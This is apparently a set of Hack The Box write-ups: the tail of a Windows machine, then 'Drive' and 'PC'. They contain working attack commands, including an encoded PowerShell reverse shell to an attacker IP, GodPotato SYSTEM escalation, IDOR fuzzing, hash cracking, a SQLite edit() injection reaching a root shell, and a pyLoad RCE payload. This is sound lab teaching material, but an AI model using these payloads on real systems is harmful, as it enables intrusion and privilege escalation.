PS C:\xampp\htdocs\uploads> .\FullPowers.exe -c "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AOAAxACIALAAxADIAMwA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="
We got the shell with full privilages as shown below
whoami
nt authority\local service
PS C:\Windows\system32> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeAuditPrivilege Generate security audits Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Now we can exploit SeImpersonatePrivilege to get access to System user
We will use potato for that.
God potato is a version of it and the latest one as the previous versions were for the same purpose but are patched.
Download the script and send it to victim as before, then we can use it to execute commands as system.
We can get a reverse shell as System or read flag directly as shown below
PS C:\xampp\htdocs\uploads> .\GodPotato-NET4.exe -cmd "cmd /c whoami"
[*] CombaseModule: 0x140708928421888
[*] DispatchTable: 0x140708930728048
[*] UseProtseqFunction: 0x140708930104224
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] Trigger RPCSS
[*] CreateNamedPipe \\.\pipe\5d3b54b0-a045-4fd9-b2cc-24a3eec17d49\pipe\epmapper
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 0000a402-1398-ffff-b3ec-b92af9a77b95
[*] DCOM obj OXID: 0x995333262ce97ff6
[*] DCOM obj OID: 0xc0dd9e4d9e40b97c
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 868 Token:0x808 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 1856
nt authority\system
PS C:\xampp\htdocs\uploads> .\GodPotato-NET4.exe -cmd "cmd /c type C:\Users\Administrator\Desktop\root.txt"
[*] CombaseModule: 0x140708928421888
[*] DispatchTable: 0x140708930728048
[*] UseProtseqFunction: 0x140708930104224
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] Trigger RPCSS
[*] CreateNamedPipe \\.\pipe\a6093430-876f-4fd6-9001-b4b9a94a7b1b\pipe\epmapper
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00004002-120c-ffff-6bc9-00a5ef395859
[*] DCOM obj OXID: 0xc5cf60320db2d932
[*] DCOM obj OID: 0xd1be762d7a08c269
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 868 Token:0x808 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 956
3******************************b
-
Drive
Description
Solution
Recon
Applying nmap scan
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/drive]
└─$ nmap -sV -sC -Pn -oA nmap/drive 10.10.11.235
Starting Nmap 7.92 ( https://nmap.org ) at 2024-02-20 02:36 SAST
Nmap scan report for 10.10.11.235
Host is up (0.14s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 27:5a:9f:db:91:c3:16:e5:7d:a6:0d:6d:cb:6b:bd:4a (RSA)
| 256 9d:07:6b:c8:47:28:0d:f2:9f:81:f2:b8:c3:a6:78:53 (ECDSA)
|_ 256 1d:30:34:9f:79:73:69:bd:f6:67:f3:34:3c:1f:f9:4e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://drive.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp filtered ppp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.61 seconds
shell as martin
from the scan results we see that port 80 is the most interesting as 3000 is filtered
we add this the record 10.10.11.235 drive.htb to /etc/hosts file and go to the site
I registered in the site and then logged in with my new account
I got redirected to this
I see two interesting tabs upload file & dashboard
upload file: enables me to upload file
I tried to upload shell but i got a response indicating that a malicious behaviour detected
Then i uploaded just a test file called tst with random text inside
dashboard: contains the uploaded files as shown below
When i open as example Welcome_To_Doodle_Grive! file, i reach this url http://drive.htb/100/getFileDetail/
and when i select other file like tst, i reach this url http://drive.htb/112/getFileDetail/
Ummmmmmm, there may be idor here but let’s check this reserve option first.
It moves me to the url http://drive.htb/112/block/
Let’s try some enum for the idor
┌──(youssif㉿youssif)-[~]
└─$ ffuf -u http://drive.htb/FUZZ/getFileDetail/ -w <(seq 1 2000) -fc 500 -H "Cookie: csrftoken=wltcvo5fkh1kgl0kgyrMIS64hV0sjQ1d; sessionid=teshdlvcaeur5ogjpgkr2557tjahr041"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://drive.htb/FUZZ/getFileDetail/
:: Wordlist : FUZZ: /proc/self/fd/11
:: Header : Cookie: csrftoken=wltcvo5fkh1kgl0kgyrMIS64hV0sjQ1d; sessionid=teshdlvcaeur5ogjpgkr2557tjahr041
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response status: 500
________________________________________________
[Status: 401, Size: 26, Words: 2, Lines: 1, Duration: 315ms]
* FUZZ: 79
[Status: 401, Size: 26, Words: 2, Lines: 1, Duration: 261ms]
* FUZZ: 98
[Status: 401, Size: 26, Words: 2, Lines: 1, Duration: 279ms]
* FUZZ: 99
[Status: 401, Size: 26, Words: 2, Lines: 1, Duration: 266ms]
* FUZZ: 101
[Status: 200, Size: 5081, Words: 1147, Lines: 172, Duration: 267ms]
* FUZZ: 100
[Status: 200, Size: 5054, Words: 1059, Lines: 167, Duration: 276ms]
* FUZZ: 112
:: Progress: [2000/2000] :: Job [1/1] :: 65 req/sec :: Duration: [0:00:26] :: Errors: 0 ::
We got the interesting ids, We can access 100,112 in getFileDetail endpoint but when we try to access the others we get 401 status code in response
After some trails i found that we can access them through block endpoint like this http://drive.htb/79/block/ and i found this
Let’s login using these credentials ssh martin@10.10.11.235 and congratzzz we got a shell as martin
shell as tom
I started digging into the machine as martin by searching for simple privesc ways like sudo -l, crontab, etc but with no useful information.
After some digging into the machine i found the accessable path with useful information in /var/www/backups
martin@drive:/var/www/backups$ ls
1_Dec_db_backup.sqlite3.7z 1_Nov_db_backup.sqlite3.7z 1_Oct_db_backup.sqlite3.7z 1_Sep_db_backup.sqlite3.7z db.sqlite3
The 7z files needs password to be accessed but there’s db.sqlite3 can be accessed by sqlite3 db.sqlite
after digging in it i reached this
sqlite> select username,password from accounts_customuser;
jamesMason|sha1$W5IGzMqPgAUGMKXwKRmi08$030814d90a6a50ac29bb48e0954a89132302483a
martinCruz|sha1$E9cadw34Gx4E59Qt18NLXR$60919b923803c52057c0cdd1d58f0409e7212e9f
tomHands|sha1$kyvDtANaFByRUMNSXhjvMc$9e77fb56c31e7ff032f8deb1f0b5e8f42e9e3004
crisDisel|sha1$ALgmoJHkrqcEDinLzpILpD$4b835a084a7c65f5fe966d522c0efcdd1d6f879f
admin|sha1$jzpj8fqBgy66yby2vX5XPa$52f17d6118fce501e3b60de360d4c311337836a3
after cracking them offline using hashcat i got this creds tomHands:sha1$kyvDtANaFByRUMNSXhjvMc$9e77fb56c31e7ff032f8deb1f0b5e8f42e9e3004:john316
Couldn’t use it to get shell as another user but let’s keep it now
When we dig into network especially using netstat -nltp we will find this
martin@drive:/var/www/backups$ netstat -nltp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::3000 :::* LISTEN -
We will use port forwarding to be able to access it using the command ssh -L 3001:127.0.0.1:3000 martin@10.10.11.235
and when we access this url 127.0.0.1:3000 we reach gitea
I tried this creds tomHands:john316 but couldn’t login successfully
then note that from the database there’s username martinCruz who is martin and we already know his password, so i used this creds and logged in successfully to this repo
after examining the repo especially the commits i found interesting commit with message added the new database backup feature
This commit shows info about making the backups and we got the password to extract the archived backups
when i extract the backup in backups directory i get error as i have no permissions here, so i move the backups to /dev/shm which is a traditional shared memory and extracted them their using for example this command 7z e -p'H@ckThisP@ssW0rDIfY0uC@n:)' /dev/shm/1_Sep_db_backup.sqlite3.7z -o/dev/shm/Sep.db.sqlite3
the backups are sqlite3 databases and after digging into them you will find the treasures here select username,password from accounts_customuser; and this because the instances have some changes in the passwords so we will take them and crack them offline as done before.
The user tomHands is the one whose password is changed between the backup instances and here are all hashes with there hash cracking output
tomHands:sha1$Ri2bP6RVoZD5XYGzeYWr7c$71eb1093e10d8f7f4d1eb64fa604e6050f8ad141:johniscool
tomHands:sha1$Ri2bP6RVoZD5XYGzeYWr7c$4053cb928103b6a9798b2521c4100db88969525a:johnmayer7
tomHands:sha1$kyvDtANaFByRUMNSXhjvMc$9e77fb56c31e7ff032f8deb1f0b5e8f42e9e3004:john316
tomHands:sha1$DhWa3Bym5bj9Ig73wYZRls$3ecc0c96b090dea7dfa0684b9a1521349170fc93:john boy
from /etc/passwd we know that there’s a user called tom and we are trying to get a shell as tom so let’s try ssh using all these passwords
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/drive]
└─$ crackmapexec ssh 10.10.11.235 -u tom -p passwdTom
SSH 10.10.11.235 22 10.10.11.235 [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.9
SSH 10.10.11.235 22 10.10.11.235 [-] tom:johniscool Authentication failed.
SSH 10.10.11.235 22 10.10.11.235 [+] tom:johnmayer7
so we can ssh using tom:johnmayer7
tom@drive:~$ ls
doodleGrive-cli README.txt user.txt
tom@drive:~$ cat user.txt
********************************
shell as root
we found doodleGrive-cli which seems very interesting it requires credientials to be launched so i moved it to my machine and started analyzing it using ghidra
when ghidra finishes analysis i examined the main function which is shown below after variable renaming
undefined8 main(void)
{
int iVar1;
long in_FS_OFFSET;
char username [16];
char password [56];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
setenv("PATH","",1);
setuid(0);
setgid(0);
puts(
"[!]Caution this tool still in the development phase...please report any issue to the developm ent team[!]"
);
puts("Enter Username:");
fgets(username,0x10,(FILE *)stdin);
sanitize_string(username);
printf("Enter password for ");
printf(username,0x10);
puts(":");
fgets(password,400,(FILE *)stdin);
sanitize_string(password);
iVar1 = strcmp(username,"moriarty");
if (iVar1 == 0) {
iVar1 = strcmp(password,"findMeIfY0uC@nMr.Holmz!");
if (iVar1 == 0) {
puts("Welcome...!");
main_menu();
goto LAB_0040231e;
}
}
puts("Invalid username or password.");
LAB_0040231e:
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
from this function we found the username:password which is moriarty:findMeIfY0uC@nMr.Holmz!
There are also 2 other functions which are sanitize_string & main_menu Let’s check them
sanitize_string
void sanitize_string(char *param_1)
{
bool bVar1;
size_t sVar2;
long in_FS_OFFSET;
int local_3c;
int local_38;
uint local_30;
undefined8 local_29;
undefined local_21;
long local_20;
local_20 = *(long *)(in_FS_OFFSET + 0x28);
local_3c = 0;
local_29 = 0x5c7b2f7c20270a00;
local_21 = 0x3b;
local_38 = 0;
do {
sVar2 = strlen(param_1);
if (sVar2 <= (ulong)(long)local_38) {
param_1[local_3c] = '\0';
if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
bVar1 = false;
for (local_30 = 0; local_30 < 9; local_30 = local_30 + 1) {
if (param_1[local_38] == *(char *)((long)&local_29 + (long)(int)local_30)) {
bVar1 = true;
break;
}
}
if (!bVar1) {
param_1[local_3c] = param_1[local_38];
local_3c = local_3c + 1;
}
local_38 = local_38 + 1;
} while( true );
}
This is sanitize_string function which accepts string and removes bad characters
these bad characters are represnted as 0x5c7b2f7c20270a00 & 0x3b which are \{/| '\n\00;
main_menu
void main_menu(void)
{
long in_FS_OFFSET;
char local_28 [24];
undefined8 local_10;
local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
fflush((FILE *)stdin);
do {
putchar(10);
puts("doodleGrive cli beta-2.2: ");
puts("1. Show users list and info");
puts("2. Show groups list");
puts("3. Check server health and status");
puts("4. Show server requests log (last 1000 request)");
puts("5. activate user account");
puts("6. Exit");
printf("Select option: ");
fgets(local_28,10,(FILE *)stdin);
switch(local_28[0]) {
case '1':
show_users_list();
break;
case '2':
show_groups_list();
break;
case '3':
show_server_status();
break;
case '4':
show_server_log();
break;
case '5':
activate_user_account();
break;
case '6':
puts("exiting...");
/* WARNING: Subroutine does not return */
exit(0);
default:
puts("please Select a valid option...");
}
} while( true );
}
as we see there are different options and each option has its own function but after examining them I’m interested in activate_user_account
activate_user_account
void activate_user_account(void)
{
size_t sVar1;
long in_FS_OFFSET;
char username [48];
char local_118 [264];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
printf("Enter username to activate account: ");
fgets(username,0x28,(FILE *)stdin);
sVar1 = strcspn(username,"\n");
username[sVar1] = '\0';
if (username[0] == '\0') {
puts("Error: Username cannot be empty.");
}
else {
sanitize_string(username);
snprintf(local_118,0xfa,
"/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line \'UPDATE accounts_customuser SE T is_active=1 WHERE username=\"%s\";\'"
,username);
printf("Activating account for user \'%s\'...\n",username);
system(local_118);
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
I think it’s interesting because it takes an input from us which is the username and this input is put within the query
The only obstacle is sanitize_string function applied on this username
after search here i found that SQL functions that have potentially harmful side-effects, such as edit(), fts3_tokenizer(), load_extension(), readfile() and writefile().
After examining edit() i found that it can open an editor and from it we can run command as root
First we will open the cli using this command VISUAL=/usr/bin/vim ./doodleGrive-cli because in the documentation of edit() function you will see that the editor can be chosen by making it the value if VISUAL environment variable
To bypass the sanitize_string function the payload will be "&edit(username)-- -
and it gives us vim editor at which we can type :!/bin/bash as shown
and congratz you are root now
you can get the flag
root@drive:~# /usr/bin/id
uid=0(root) gid=0(root) groups=0(root),1003(tom)
root@drive:~# /usr/bin/cat /root/root.txt
********************************
-
PC
Description
Solution
Recon
Applying nmap scan
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/PC]
└─$ nmap -sV -sC -Pn -p 80,50051 -oA pc 10.10.11.214
# Nmap 7.92 scan initiated Thu Aug 17 12:37:10 2023 as: nmap -sV -sC -Pn -p- -oA pc 10.10.11.214
Nmap scan report for 10.10.11.214
Host is up (0.075s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 91:bf:44:ed:ea:1e:32:24:30:1f:53:2c:ea:71:e5:ef (RSA)
| 256 84:86:a6:e2:04:ab:df:f7:1d:45:6c:cf:39:58:09:de (ECDSA)
|_ 256 1a:a8:95:72:51:5e:8e:3c:f1:80:f5:42:fd:0a:28:1c (ED25519)
50051/tcp open unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port50051-TCP:V=7.92%I=7%D=8/17%Time=64DDF8D7%P=x86_64-pc-linux-gnu%r(N
SF:ULL,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\x0
SF:6\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(Generic
SF:Lines,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(GetRe
SF:quest,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(HTTPO
SF:ptions,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0
SF:\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(RTSP
SF:Request,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\
SF:0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(RPC
SF:Check,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(DNSVe
SF:rsionBindReqTCP,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\
SF:xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0
SF:")%r(DNSStatusRequestTCP,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0
SF:\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\
SF:0\0\?\0\0")%r(Help,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0
SF:\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\
SF:0\0")%r(SSLSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x0
SF:5\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0
SF:\?\0\0")%r(TerminalServerCookie,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xf
SF:f\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0
SF:\0\0\0\0\0\?\0\0")%r(TLSSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?
SF:\xff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x0
SF:8\0\0\0\0\0\0\?\0\0")%r(Kerberos,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x
SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\
SF:0\0\0\0\0\0\?\0\0")%r(SMBProgNeg,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x
SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\
SF:0\0\0\0\0\0\?\0\0")%r(X11Probe,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff
SF:\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\
SF:0\0\0\0\0\?\0\0");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Aug 17 12:39:34 2023 -- 1 IP address (1 host up) scanned in 143.38 seconds
We got this as an output. We have an interesting service on port 50051
After searching about 50051, we will find that the service is gRPC.
Shell as sau
To access its UI there’s a tool called grpcui explained here
After installing it, we will get access to this GUI.
In the method name field we have 3 options: Login,Register and getinfo
Make sure that burp is opened and receiving the requests.
Let’s try registering using credentials youssif:youssif Then login using these credentials and you will get this response.
We see that we got an id and token.
Let’s go to getinfo and use the id we got 345 => we got this msg
So we will add the token we got in the metadata field and we will get in the response => “message”: “Will update soon.”
We were using burp let’s go to the requests and send them to the repeater to examine them.
getinfo request is most interesting of them and id parameter is vulnerable to sqli and it can be detected using id="345 or 1=1-- u will get a different message.
Let’s go to sqlmap and because this request method is POST so we will copy the request in text file and use it with sqlmap, for more information here
So from the previous link we knew that we will save the request in a file and use this command.
sqlmap -r request.txt -p id --tables
From this we knew that we have two tables accounts and messages, We are interested in Accounts table.
Anyway Let’s dump the table using this command.
sqlmap -r request.txt -p id -T accounts --dump
in the output we will find this
passwords are plain text and the user sau seems to be out goal
Actually, IDK what is the pronounce of this name it seems like Siuuuuuuuuuuuuuuuuu
Anyway, when we use this credentials of sau in ssh we get the shell successfully
Congratzzzz we got the user’s flag
shell as root
Let’s move to Root part.
after some enumeration using netstat -a I found that 127.0.0.1:8000 in listening state.
We will use port forwarding to be able to access it using the command
ssh -L 9001:127.0.0.1:8000 sau@10.10.11.214
So we can access it from firefox using the url http://127.0.0.1:9001
We will find that the process is called pyload and after enumerating the running processes using ps -ef we will find that it’s running process by the root.
After searching for exploit for pyload i found many useful articles like:
1
2
3
All of these are useful i used this POC for the RCE:-
curl -i -s -k -X $'POST' --data-binary $'jk=%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%63%68%6d%6f%64%20%75%2b%73%20%2f%62%69%6e%2f%62%61%73%68%22%29;f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' $'http://127.0.0.1:4444/flash/addcrypted2'
The url encoded part:
%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%63%68%6d%6f%64%20%75%2b%73%20%2f%62%69%6e%2f%62%61%73%68%22%29
is the command i used which is pyimport os;os.system(“chmod u+s /bin/bash”)
Then we can execute /bin/bash -p using the user sau because /bin/bash got SUID permission.
Rooted !!
I wish this writeup was useful, THANK YOU.
Touch background to close